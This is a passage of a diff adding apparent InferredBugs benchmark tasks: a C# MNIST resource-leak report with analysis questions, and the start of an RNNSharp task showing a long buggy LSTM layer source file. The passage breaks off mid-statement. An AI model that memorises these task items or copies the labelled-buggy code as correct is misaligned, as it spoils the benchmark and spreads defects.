+            model.Add(new MaxPooling2D(Tuple.Create<uint, uint>(2, 2), Tuple.Create<uint, uint>(2, 2)));
+
+            model.Add(new Flatten());
+            model.Add(new Dropout(0.5f));
+            model.Add(new Dense(128, ActivationType.ReLU, kernalInitializer: new RandomUniform(-1, 1)));
+
+            model.Add(new Dense(10));
+
+            model.Compile(OptimizerRegistry.SGD(), LossType.SoftmaxCategorialCrossEntropy, MetricType.Accuracy);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource loadedModel.MxNetLib.NN.Module.Model of type MxNetLib.Symbol in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+examples/MNIST/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f633563cff1cf359673ff0a4fe02742a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2496/instruction.md b/inferredbugs-2496/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7023019d0e6057e7090f9c645eef9e8efc0b9c72
--- /dev/null
+++ b/inferredbugs-2496/instruction.md
@@ -0,0 +1,1240 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RNNSharp
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using AdvUtils;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Numerics;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+
+namespace RNNSharp
+{
+
+    public class LSTMGateWeight
+    {
+        public float[][] weights;
+        public float[][] deri;
+        public float[][] learningRate;
+        public int layerSize;
+        public int denseFeatureSize;
+        protected ParallelOptions parallelOption = new ParallelOptions();
+        public object[] locker;
+
+        public LSTMGateWeight CloneSharedWeights()
+        {
+            LSTMGateWeight gateWeight = new LSTMGateWeight();
+            gateWeight.InitWeights(layerSize, denseFeatureSize);
+            gateWeight.weights = weights;
+            gateWeight.learningRate = learningRate;
+            gateWeight.locker = locker;
+
+            return gateWeight;
+        }
+
+        public void CleanLearningRate()
+        {
+            if (denseFeatureSize > 0)
+            {
+                for (var i = 0; i < layerSize; i++)
+                {
+                    Array.Clear(learningRate[i], 0, learningRate[i].Length);
+                }
+            }
+        }
+
+        public void InitWeights(int LayerSize, int DenseFeatureSize)
+        {
+            layerSize = LayerSize;
+            denseFeatureSize = DenseFeatureSize;
+
+            weights = new float[layerSize][];
+            for (var i = 0; i < layerSize; i++)
+            {
+                weights[i] = new float[denseFeatureSize];
+                for (var j = 0; j < denseFeatureSize; j++)
+                {
+                    weights[i][j] = RNNHelper.RandInitWeight();
+                }
+            }
+        }
+
+        public void InitInternaTrainingParameters(bool hasDeri = true)
+        {
+            if (learningRate == null)
+            {
+                learningRate = new float[layerSize][];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    learningRate[i] = new float[denseFeatureSize];
+                }
+            }
+
+            if (hasDeri)
+            {
+                deri = new float[layerSize][];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    deri[i] = new float[denseFeatureSize];
+                }
+            }
+
+            if (locker == null)
+            {
+                locker = new object[layerSize];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    locker[i] = new object();
+                }
+            }
+        }
+    }
+
+    public class LSTMNeuron : Neuron
+    {
+        public LSTMCell[] LSTMCells;
+    }
+
+    public class LSTMLayer : SimpleLayer
+    {
+        public LSTMCell[] LSTMCells;
+
+        public LSTMCellWeight[] CellWeights;
+        public LSTMCellWeightDeri[] CellWeightsDeri;
+        protected Vector4[] cellLearningRate;
+        protected Vector3[] peepholeLearningRate;
+
+        //Due to different data access patterns(random access for sparse features and continuous access for dense features), 
+        //we use different data structure to keep features weights in order to improve performance 
+        protected LSTMGateWeight wDenseInputGate;
+        protected LSTMGateWeight wDenseForgetGate;
+        protected LSTMGateWeight wDenseCellGate;
+        public LSTMGateWeight wDenseOutputGate;
+
+        //X - wInputInputGate
+        //Y - wInputForgetGate
+        //Z - wInputCell
+        //W - wInputOutputGate
+        protected Vector4[][] sparseFeatureWeights;
+      //  protected Vector3[][] sparseFeatureToHiddenDeri;
+        protected Vector4[][] sparseFeatureToHiddenLearningRate;
+
+        protected Dictionary<int, Vector3>[] sparseFeatureToHiddenDeri;
+
+
+        private Vector4 vecMaxGrad;
+
+        private Vector3 vecMaxGrad3;
+        private Vector4 vecMinGrad;
+        private Vector3 vecMinGrad3;
+
+        private Vector4 vecNormalLearningRate;
+        private Vector3 vecNormalLearningRate3;
+        private Vector<float> vecNormalLearningRateFloat;
+ //       protected float[] previousCellOutputs;
+
+        LSTMLayerConfig config;
+
+        public LSTMLayer(LSTMLayerConfig config) : base(config)
+        {
+            this.config = config;
+     //       previousCellOutputs = new float[LayerSize];
+            LSTMCells = new LSTMCell[LayerSize];
+            for (var i = 0; i < LayerSize; i++)
+            {
+                LSTMCells[i] = new LSTMCell();
+            }
+        }
+
+        public override SimpleLayer CreateLayerSharedWegiths()
+        {
+            LSTMLayer layer = new LSTMLayer(config);
+            ShallowCopyWeightTo(layer);
+
+            return layer;
+        }
+
+        public override Neuron CopyNeuronTo(Neuron neuron)
+        {
+            LSTMNeuron lstmNeuron = neuron as LSTMNeuron;
+
+            Cells.CopyTo(lstmNeuron.Cells, 0);
+     //       previousCellOutputs.CopyTo(lstmNeuron.PrevCellOutputs, 0);
+            for (int i = 0; i < LayerSize; i++)
+            {
+                lstmNeuron.LSTMCells[i].Set(LSTMCells[i]);
+            }
+
+
+            return lstmNeuron;
+        }
+
+        public override void PreUpdateWeights(Neuron neuron, float[] errs)
+        {
+            LSTMNeuron lstmNeuron = neuron as LSTMNeuron;
+       //     lstmNeuron.Cells.CopyTo(Cells, 0);
+    //        lstmNeuron.PrevCellOutputs.CopyTo(previousCellOutputs, 0);
+            for (int i = 0; i < LayerSize; i++)
+            {
+                LSTMCells[i].Set(lstmNeuron.LSTMCells[i]);
+            }
+
+            errs.CopyTo(Errs, 0);
+        }
+
+        public override void ShallowCopyWeightTo(SimpleLayer destLayer)
+        {
+            LSTMLayer layer = destLayer as LSTMLayer;
+            layer.SparseFeatureSize = SparseFeatureSize;
+            layer.DenseFeatureSize = DenseFeatureSize;
+
+            layer.sparseFeatureWeights = sparseFeatureWeights;
+            layer.sparseFeatureToHiddenLearningRate = sparseFeatureToHiddenLearningRate;
+
+            layer.wDenseCellGate = wDenseCellGate.CloneSharedWeights();
+            layer.wDenseForgetGate = wDenseForgetGate.CloneSharedWeights();
+            layer.wDenseInputGate = wDenseInputGate.CloneSharedWeights();
+            layer.wDenseOutputGate = wDenseOutputGate.CloneSharedWeights();
+
+            layer.CellWeights = CellWeights;
+
+            layer.lockerDenseFeature = lockerDenseFeature;
+            layer.lockerSparseFeature = lockerSparseFeature;
+
+            layer.InitializeInternalTrainingParameters();
+        }
+
+        public override void InitializeInternalTrainingParameters()
+        {
+            if (SparseFeatureSize > 0)
+            {
+                //sparseFeatureToHiddenDeri = new Vector3[LayerSize][];
+                //for (var i = 0; i < LayerSize; i++)
+                //{
+                //    sparseFeatureToHiddenDeri[i] = new Vector3[SparseFeatureSize];
+                //}
+
+                sparseFeatureToHiddenDeri = new Dictionary<int, Vector3>[LayerSize];
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    sparseFeatureToHiddenDeri[i] = new Dictionary<int, Vector3>();
+                }
+            }
+
+            if (sparseFeatureToHiddenLearningRate == null)
+            {
+                if (SparseFeatureSize > 0)
+                {
+                    sparseFeatureToHiddenLearningRate = new Vector4[LayerSize][];
+                    for (var i = 0; i < LayerSize; i++)
+                    {
+                        sparseFeatureToHiddenLearningRate[i] = new Vector4[SparseFeatureSize];
+                    }
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                wDenseInputGate.InitInternaTrainingParameters();
+                wDenseForgetGate.InitInternaTrainingParameters();
+                wDenseCellGate.InitInternaTrainingParameters();
+                wDenseOutputGate.InitInternaTrainingParameters(false);
+            }
+
+            CellWeightsDeri = new LSTMCellWeightDeri[LayerSize];
+            for (var i = 0; i < LayerSize; i++)
+            {
+                CellWeightsDeri[i] = new LSTMCellWeightDeri();
+            }
+
+            if (lockerDenseFeature == null)
+            {
+                lockerDenseFeature = new object[LayerSize];
+                for (int i = 0; i < LayerSize; i++)
+                {
+                    lockerDenseFeature[i] = new object();
+                }
+            }
+
+            if (lockerSparseFeature == null)
+            {
+                lockerSparseFeature = new object[LayerSize];
+                for (int i = 0; i < LayerSize; i++)
+                {
+                    lockerSparseFeature[i] = new object();
+                }
+            }
+        }
+
+
+        public override void InitializeWeights(int sparseFeatureSize, int denseFeatureSize)
+        {
+            SparseFeatureSize = sparseFeatureSize;
+            DenseFeatureSize = denseFeatureSize;
+
+            InitializeCellWeights(null);
+
+            if (SparseFeatureSize > 0)
+            {
+                sparseFeatureWeights = new Vector4[LayerSize][];
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    sparseFeatureWeights[i] = new Vector4[SparseFeatureSize];
+                    for (var j = 0; j < SparseFeatureSize; j++)
+                    {
+                        sparseFeatureWeights[i][j] = InitializeLSTMWeight();
+                    }
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                wDenseInputGate = new LSTMGateWeight();
+                wDenseForgetGate = new LSTMGateWeight();
+                wDenseCellGate = new LSTMGateWeight();
+                wDenseOutputGate = new LSTMGateWeight();
+                wDenseInputGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseForgetGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseCellGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseOutputGate.InitWeights(LayerSize, DenseFeatureSize);
+            }
+
+            InitializeInternalTrainingParameters();
+
+            Logger.WriteLine(
+                "Initializing weights, sparse feature size: {0}, dense feature size: {1}, random value is {2}",
+                SparseFeatureSize, DenseFeatureSize, RNNHelper.rand.NextDouble());
+        }
+
+        private void InitializeCellWeights(BinaryReader br)
+        {
+            CellWeights = new LSTMCellWeight[LayerSize];
+            CellWeightsDeri = new LSTMCellWeightDeri[LayerSize];
+
+            if (br != null)
+            {
+                //Load weight from input file
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    CellWeights[i] = new LSTMCellWeight();
+                    CellWeights[i].wPeepholeIn = br.ReadDouble();
+                    CellWeights[i].wPeepholeForget = br.ReadDouble();
+                    CellWeights[i].wPeepholeOut = br.ReadDouble();
+
+                    CellWeights[i].wCellIn = br.ReadDouble();
+                    CellWeights[i].wCellForget = br.ReadDouble();
+                    CellWeights[i].wCellState = br.ReadDouble();
+                    CellWeights[i].wCellOut = br.ReadDouble();
+
+                    CellWeightsDeri[i] = new LSTMCellWeightDeri();
+                }
+            }
+            else
+            {
+                //Initialize weight by random number
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    CellWeights[i] = new LSTMCellWeight();
+                    //internal weights, also important
+                    CellWeights[i].wPeepholeIn = RNNHelper.RandInitWeight();
+                    CellWeights[i].wPeepholeForget = RNNHelper.RandInitWeight();
+                    CellWeights[i].wPeepholeOut = RNNHelper.RandInitWeight();
+
+                    CellWeights[i].wCellIn = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellForget = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellState = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellOut = RNNHelper.RandInitWeight();
+
+                    CellWeightsDeri[i] = new LSTMCellWeightDeri();
+                }
+            }
+        }
+
+        private Vector4 InitializeLSTMWeight()
+        {
+            Vector4 w;
+
+            //initialise each weight to random value
+            w.X = RNNHelper.RandInitWeight();
+            w.Y = RNNHelper.RandInitWeight();
+            w.Z = RNNHelper.RandInitWeight();
+            w.W = RNNHelper.RandInitWeight();
+
+            return w;
+        }
+
+        private double TanH(double x)
+        {
+            return Math.Tanh(x);
+        }
+
+        private double TanHDerivative(double x)
+        {
+            var tmp = Math.Tanh(x);
+            return 1 - tmp * tmp;
+        }
+
+        private double Sigmoid(double x)
+        {
+            return 1.0 / (1.0 + Math.Exp(-x));
+        }
+
+        private double SigmoidDerivative(double x)
+        {
+            return Sigmoid(x) * (1.0 - Sigmoid(x));
+        }
+
+        private void SaveCellWeights(BinaryWriter fo)
+        {
+            for (var i = 0; i < LayerSize; i++)
+            {
+                fo.Write(CellWeights[i].wPeepholeIn);
+                fo.Write(CellWeights[i].wPeepholeForget);
+                fo.Write(CellWeights[i].wPeepholeOut);
+
+                fo.Write(CellWeights[i].wCellIn);
+                fo.Write(CellWeights[i].wCellForget);
+                fo.Write(CellWeights[i].wCellState);
+                fo.Write(CellWeights[i].wCellOut);
+            }
+        }
+
+        private void SaveLSTMweights(LSTMGateWeight gateWeight, BinaryWriter fo, bool bVQ = false)
+        {
+            float[][] weights = gateWeight.weights;
+            var w = weights.Length;
+            var h = weights[0].Length;
+
+            Logger.WriteLine($"Saving LSTM gate weight matrix. width: {w}, height: {h}");
+
+            fo.Write(w);
+            fo.Write(h);
+
+            fo.Write(0);
+
+            for (var i = 0; i < w; i++)
+            {
+                for (var j = 0; j < h; j++)
+                {
+                    fo.Write(weights[i][j]);
+                }
+            }
+        }
+
+        private void SaveLSTMWeights(Vector4[][] weight, BinaryWriter fo, bool bVQ = false)
+        {
+            var w = weight.Length;
+            var h = weight[0].Length;
+            var vqSize = 256;
+
+            Logger.WriteLine("Saving LSTM weight matrix. width:{0}, height:{1}, vq:{2}", w, h, bVQ);
+
+            fo.Write(weight.Length);
+            fo.Write(weight[0].Length);
+
+            if (bVQ == false)
+            {
+                fo.Write(0);
+
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        fo.Write(weight[i][j].X);
+                        fo.Write(weight[i][j].Y);
+                        fo.Write(weight[i][j].Z);
+                        fo.Write(weight[i][j].W);
+                    }
+                }
+            }
+            else
+            {
+                //Build vector quantization model
+                var vqInputCell = new VectorQuantization();
+                var vqInputForgetGate = new VectorQuantization();
+                var vqInputInputGate = new VectorQuantization();
+                var vqInputOutputGate = new VectorQuantization();
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        vqInputInputGate.Add(weight[i][j].X);
+                        vqInputForgetGate.Add(weight[i][j].Y);
+                        vqInputCell.Add(weight[i][j].Z);
+                        vqInputOutputGate.Add(weight[i][j].W);
+                    }
+                }
+
+                var distortion = vqInputInputGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputInputGate distortion: {0}", distortion);
+
+                distortion = vqInputForgetGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputForgetGate distortion: {0}", distortion);
+
+                distortion = vqInputCell.BuildCodebook(vqSize);
+                Logger.WriteLine("InputCell distortion: {0}", distortion);
+
+                distortion = vqInputOutputGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputOutputGate distortion: {0}", distortion);
+
+                fo.Write(vqSize);
+
+                //Save InputInputGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputInputGate.CodeBook[j]);
+                }
+
+                //Save InputForgetGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputForgetGate.CodeBook[j]);
+                }
+
+                //Save InputCell VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputCell.CodeBook[j]);
+                }
+
+                //Save InputOutputGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputOutputGate.CodeBook[j]);
+                }
+
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        fo.Write((byte)vqInputInputGate.ComputeVQ(weight[i][j].X));
+                        fo.Write((byte)vqInputForgetGate.ComputeVQ(weight[i][j].Y));
+                        fo.Write((byte)vqInputCell.ComputeVQ(weight[i][j].Z));
+                        fo.Write((byte)vqInputOutputGate.ComputeVQ(weight[i][j].W));
+                    }
+                }
+            }
+        }
+
+        private static LSTMGateWeight LoadLSTMGateWeights(BinaryReader br)
+        {
+            var w = br.ReadInt32();
+            var h = br.ReadInt32();
+            var vqSize = br.ReadInt32();
+            LSTMGateWeight gateWeight = new LSTMGateWeight();
+
+            Logger.WriteLine("Loading LSTM-Weight: width:{0}, height:{1}, vqSize:{2}...", w, h, vqSize);
+
+            var m = new float[w][];
+            gateWeight.weights = m;
+            gateWeight.layerSize = w;
+            gateWeight.denseFeatureSize = h;
+
+            for (var i = 0; i < w; i++)
+            {
+                m[i] = new float[h];
+                for (var j = 0; j < h; j++)
+                {
+                    m[i][j] = br.ReadSingle();
+                }
+            }
+
+            return gateWeight;
+        }
+
+        private static Vector4[][] LoadLSTMWeights(BinaryReader br)
+        {
+            var w = br.ReadInt32();
+            var h = br.ReadInt32();
+            var vqSize = br.ReadInt32();
+            var m = new Vector4[w][];
+
+            Logger.WriteLine("Loading LSTM-Weight: width:{0}, height:{1}, vqSize:{2}...", w, h, vqSize);
+            if (vqSize == 0)
+            {
+                for (var i = 0; i < w; i++)
+                {
+                    m[i] = new Vector4[h];
+                    for (var j = 0; j < h; j++)
+                    {
+                        m[i][j].X = br.ReadSingle();
+                        m[i][j].Y = br.ReadSingle();
+                        m[i][j].Z = br.ReadSingle();
+                        m[i][j].W = br.ReadSingle();
+                    }
+                }
+            }
+            else
+            {
+                var codeBookInputCell = new List<float>();
+                var codeBookInputForgetGate = new List<float>();
+                var codeBookInputInputGate = new List<float>();
+                var codeBookInputOutputGate = new List<float>();
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputInputGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputForgetGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputCell.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputOutputGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < w; i++)
+                {
+                    m[i] = new Vector4[h];
+                    for (var j = 0; j < h; j++)
+                    {
+                        int vqIdx = br.ReadByte();
+                        m[i][j].X = codeBookInputInputGate[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].Y = codeBookInputForgetGate[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].Z = codeBookInputCell[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].W = codeBookInputOutputGate[vqIdx];
+                    }
+                }
+            }
+
+            return m;
+        }
+
+        public override void Save(BinaryWriter fo)
+        {
+            fo.Write(LayerSize);
+            fo.Write(SparseFeatureSize);
+            fo.Write(DenseFeatureSize);
+
+            //Save hidden layer weights
+            Logger.WriteLine(
+                $"Saving LSTM layer, size = '{LayerSize}', sparse feature size = '{SparseFeatureSize}', dense feature size = '{DenseFeatureSize}'");
+
+            SaveCellWeights(fo);
+
+            if (SparseFeatureSize > 0)
+            {
+                //weight input->hidden
+                Logger.WriteLine("Saving sparse feature weights...");
+                SaveLSTMWeights(sparseFeatureWeights, fo);
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                //weight fea->hidden
+                Logger.WriteLine("Saving dense feature weights...");
+
+                SaveLSTMweights(wDenseInputGate, fo);
+                SaveLSTMweights(wDenseCellGate, fo);
+                SaveLSTMweights(wDenseForgetGate, fo);
+                SaveLSTMweights(wDenseOutputGate, fo);
+            }
+        }
+
+        public static LSTMLayer Load(BinaryReader br, LayerType layerType)
+        {
+            LSTMLayerConfig config = new LSTMLayerConfig();
+            config.LayerSize = br.ReadInt32();
+            config.LayerType = layerType;
+            LSTMLayer layer = new LSTMLayer(config);
+
+            layer.SparseFeatureSize = br.ReadInt32();
+            layer.DenseFeatureSize = br.ReadInt32();
+
+            //Create cells of each layer
+            layer.InitializeCellWeights(br);
+
+            //Load weight matrix between each two layer pairs
+            //weight input->hidden
+            if (layer.SparseFeatureSize > 0)
+            {
+                Logger.WriteLine("Loading sparse feature weights...");
+                layer.sparseFeatureWeights = LoadLSTMWeights(br);
+            }
+
+            if (layer.DenseFeatureSize > 0)
+            {
+                //weight fea->hidden
+                Logger.WriteLine("Loading dense feature weights...");
+                layer.wDenseInputGate = LoadLSTMGateWeights(br);
+                layer.wDenseCellGate = LoadLSTMGateWeights(br);
+                layer.wDenseForgetGate = LoadLSTMGateWeights(br);
+                layer.wDenseOutputGate = LoadLSTMGateWeights(br);
+            }
+
+            return layer;
+        }
+
+        public override void CleanLearningRate()
+        {
+            if (SparseFeatureSize > 0)
+            {
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    Array.Clear(sparseFeatureToHiddenLearningRate[i], 0, SparseFeatureSize);
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                wDenseCellGate.CleanLearningRate();
+                wDenseForgetGate.CleanLearningRate();
+                wDenseInputGate.CleanLearningRate();
+                wDenseOutputGate.CleanLearningRate();
+            }
+
+            peepholeLearningRate = new Vector3[LayerSize];
+            cellLearningRate = new Vector4[LayerSize];
+
+            vecNormalLearningRate = new Vector4(RNNHelper.LearningRate, RNNHelper.LearningRate, RNNHelper.LearningRate,
+                RNNHelper.LearningRate);
+            vecNormalLearningRate3 = new Vector3(RNNHelper.LearningRate, RNNHelper.LearningRate, RNNHelper.LearningRate);
+
+            vecNormalLearningRateFloat = new Vector<float>(RNNHelper.LearningRate);
+
+            vecMaxGrad = new Vector4(RNNHelper.GradientCutoff, RNNHelper.GradientCutoff, RNNHelper.GradientCutoff,
+                RNNHelper.GradientCutoff);
+            vecMinGrad = new Vector4(-RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff,
+                -RNNHelper.GradientCutoff);
+
+            vecMaxGrad3 = new Vector3(RNNHelper.GradientCutoff, RNNHelper.GradientCutoff, RNNHelper.GradientCutoff);
+            vecMinGrad3 = new Vector3(-RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff, -RNNHelper.GradientCutoff);
+        }
+
+        // forward process. output layer consists of tag value
+        public override void ForwardPass(SparseVector sparseFeature, float[] denseFeature)
+        {
+            //inputs(t) -> hidden(t)
+            //Get sparse feature and apply it into hidden layer
+            SparseFeature = sparseFeature;
+            DenseFeature = denseFeature;
+
+            for (var j = 0;j < LayerSize;j++)
+            {
+                var cell_j = LSTMCells[j];
+                var cellWeight_j = CellWeights[j];
+
+                //hidden(t-1) -> hidden(t)
+                cell_j.previousCellState = cell_j.cellState;
+                cell_j.previousCellOutput = Cells[j];
+//                previousCellOutputs[j] = Cells[j];
+
+                var vecCell_j = Vector4.Zero;
+
+                if (SparseFeatureSize > 0)
+                {
+                    //Apply sparse weights
+                    var weights = sparseFeatureWeights[j];
+                    var deri = sparseFeatureToHiddenDeri[j];
+                    foreach (var pair in SparseFeature)
+                    {
+                        vecCell_j += weights[pair.Key] * pair.Value;
+                        if (deri.ContainsKey(pair.Key) == false)
+                        {
+                            deri.Add(pair.Key, new Vector3(0));
+                        }
+                    }
+                }
+
+                if (DenseFeatureSize > 0)
+                {
+                    //Apply dense weights
+                    var k = 0;
+                    float[] denseInputGateWeight_j = wDenseInputGate.weights[j];
+                    float[] denseForgetGateWeight_j = wDenseForgetGate.weights[j];
+                    float[] denseCellGateWeight_j = wDenseCellGate.weights[j];
+                    float[] denseOutputGateWeight_j = wDenseOutputGate.weights[j];
+                    while (k < DenseFeatureSize - Vector<float>.Count)
+                    {
+                        var vX = new Vector<float>(denseInputGateWeight_j, k);
+                        var vY = new Vector<float>(denseForgetGateWeight_j, k);
+                        var vZ = new Vector<float>(denseCellGateWeight_j, k);
+                        var vW = new Vector<float>(denseOutputGateWeight_j, k);
+                        var vFeature = new Vector<float>(DenseFeature, k);
+
+                        vecCell_j.X += Vector.Dot(vX, vFeature);
+                        vecCell_j.Y += Vector.Dot(vY, vFeature);
+                        vecCell_j.Z += Vector.Dot(vZ, vFeature);
+                        vecCell_j.W += Vector.Dot(vW, vFeature);
+
+                        k += Vector<float>.Count;
+                    }
+
+                    while (k < DenseFeatureSize)
+                    {
+                        vecCell_j.X += denseInputGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.Y += denseForgetGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.Z += denseCellGateWeight_j[k] * DenseFeature[k];
+                        vecCell_j.W += denseOutputGateWeight_j[k] * DenseFeature[k];
+                        k++;
+                    }
+                }
+
+                //rest the value of the net input to zero
+                cell_j.netIn = vecCell_j.X;
+                cell_j.netForget = vecCell_j.Y;
+                //reset each netCell state to zero
+                cell_j.netCellState = vecCell_j.Z;
+                //reset each netOut to zero
+                cell_j.netOut = vecCell_j.W;
+
+                //include internal connection multiplied by the previous cell state
+                cell_j.netIn += cell_j.previousCellState * cellWeight_j.wPeepholeIn + cell_j.previousCellOutput * cellWeight_j.wCellIn;
+                //squash input
+                cell_j.yIn = Sigmoid(cell_j.netIn);
+
+                //include internal connection multiplied by the previous cell state
+                cell_j.netForget += cell_j.previousCellState * cellWeight_j.wPeepholeForget +
+                                    cell_j.previousCellOutput * cellWeight_j.wCellForget;
+                cell_j.yForget = Sigmoid(cell_j.netForget);
+
+                cell_j.netCellState += cell_j.previousCellOutput * cellWeight_j.wCellState;
+                cell_j.yCellState = TanH(cell_j.netCellState);
+
+                //cell state is equal to the previous cell state multipled by the forget gate and the cell inputs multiplied by the input gate
+                cell_j.cellState = cell_j.yForget * cell_j.previousCellState + cell_j.yIn * cell_j.yCellState;
+
+                ////include the internal connection multiplied by the CURRENT cell state
+                cell_j.netOut += cell_j.cellState * cellWeight_j.wPeepholeOut + cell_j.previousCellOutput * cellWeight_j.wCellOut;
+
+                //squash output gate
+                cell_j.yOut = Sigmoid(cell_j.netOut);
+
+                Cells[j] = (float)(TanH(cell_j.cellState) * cell_j.yOut);
+
+                LSTMCells[j] = cell_j;
+            }
+        }
+
+
+        private void UpdateOutputGateWeights(LSTMGateWeight gateWeight, int i, float err)
+        {
+            var j = 0;
+            float[] learningrate_i = gateWeight.learningRate[i];
+            float[] weights_i = gateWeight.weights[i];
+            while (j < DenseFeatureSize - Vector<float>.Count)
+            {
+                Vector<float> vecDelta = new Vector<float>(DenseFeature, j);
+                vecDelta = vecDelta * err;
+                vecDelta = RNNHelper.NormalizeGradient(vecDelta);
+
+                var wlr_i = new Vector<float>(learningrate_i, j);
+                var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i);
+                wlr_i.CopyTo(learningrate_i, j);
+
+                lock (gateWeight.locker[i])
+                {
+                    var w_i = new Vector<float>(weights_i, j);
+                    w_i += vecLearningRate * vecDelta;
+                    w_i.CopyTo(weights_i, j);
+                }
+
+                j += Vector<float>.Count;
+            }
+
+            while (j < DenseFeatureSize)
+            {
+                float delta = DenseFeature[j] * err;
+                delta = RNNHelper.NormalizeGradient(delta);
+                var wlr_i = learningrate_i[j];
+                var learningRate = ComputeLearningRate(delta, ref wlr_i);
+                learningrate_i[j] = wlr_i;
+
+                RNNHelper.LockFreeAdd(weights_i, j, learningRate * delta);
+
+                j++;
+            }
+        }
+
+        private void UpdateGateWeights(LSTMGateWeight gateWeight, int i, float featureDerivate, float c_yForget, float err)
+        {
+            var j = 0;
+            float[] deri_i = gateWeight.deri[i];
+            float[] learningrate_i = gateWeight.learningRate[i];
+            float[] weights_i = gateWeight.weights[i];
+            while (j < DenseFeatureSize - Vector<float>.Count)
+            {
+                var feature = new Vector<float>(DenseFeature, j);
+                var wd = feature * featureDerivate;
+                var wd_i = new Vector<float>(deri_i, j);
+                wd += wd_i * c_yForget;
+                wd.CopyTo(deri_i, j);
+
+                Vector<float> vecDelta = wd * err;
+                vecDelta = RNNHelper.NormalizeGradient(vecDelta);
+
+                //Computing learning rate and update it
+                var wlr_i = new Vector<float>(learningrate_i, j);
+                var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i);
+                wlr_i.CopyTo(learningrate_i, j);
+
+                lock (gateWeight.locker[i])
+               {
+                    var w_i = new Vector<float>(weights_i, j);
+                    w_i += vecLearningRate * vecDelta;
+                    w_i.CopyTo(weights_i, j);
+                }
+
+                j += Vector<float>.Count;
+            }
+
+            while (j < DenseFeatureSize)
+            {
+                var wd = DenseFeature[j] * featureDerivate;
+                wd += deri_i[j] * c_yForget;
+                deri_i[j] = wd;
+
+                float delta = wd * err;
+                delta = RNNHelper.NormalizeGradient(delta);
+                var wlr_i = learningrate_i[j];
+                var learningRate = ComputeLearningRate(delta, ref wlr_i);
+                learningrate_i[j] = wlr_i;
+
+                RNNHelper.LockFreeAdd(weights_i, j, learningRate * delta);
+
+                j++;
+            }
+        }
+
+        public override void BackwardPass()
+        {
+            //put variables for derivaties in weight class and cell class
+            for (var i = 0; i < LayerSize; i++)
+            {
+                var c = LSTMCells[i];
+                var cellWeight = CellWeights[i];
+                var cellWeightDeri = CellWeightsDeri[i];
+
+                //using the error find the gradient of the output gate
+                var gradientOutputGate = (float)(SigmoidDerivative(c.netOut) * TanH(c.cellState) * Errs[i]);
+
+                //internal cell state error
+                var cellStateError =
